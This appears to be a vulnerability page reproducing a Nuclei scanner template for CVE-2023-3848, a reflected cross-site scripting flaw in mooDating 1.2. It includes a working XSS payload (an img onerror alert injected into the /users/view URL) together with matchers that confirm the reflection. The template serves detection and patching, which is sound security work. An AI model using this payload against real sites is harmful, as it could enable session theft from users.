CVE-2023-3848: MooDating 1.2 - Cross-site scripting

2025-08-01 MooDating 1.2 PoC Public

Description

A vulnerability, which was classified as problematic, has been found in mooSocial mooDating 1.2. This issue affects some unknown processing of the file /users/view of the component URL Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely.

PoC

id: CVE-2023-3848

info:
  name: MooDating 1.2 - Cross-site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, has been found in mooSocial mooDating 1.2. This issue affects some unknown processing of the file /users/view of the component URL Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the users/view endpoint to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the users component.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3848
    - https://vuldb.com/?ctiid.235199
    - https://vuldb.com/?id.235199
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3848
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.92904
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/users/viewi1omd"><img%20src%3da%20onerror%3dalert(document.domain)>l43yn/108?tab=activity'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooDating")'
        condition: and
# digest: 4a0a00473045022036c9eb6822dbdbc436249a46000d498ceaed9939373d21faf677cd8e6d23e2e402210087d4b4e8a58300da3f65a9b1870a1ea45fa1611df8d65e8f7181e2db23e3396d:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-3848.yaml

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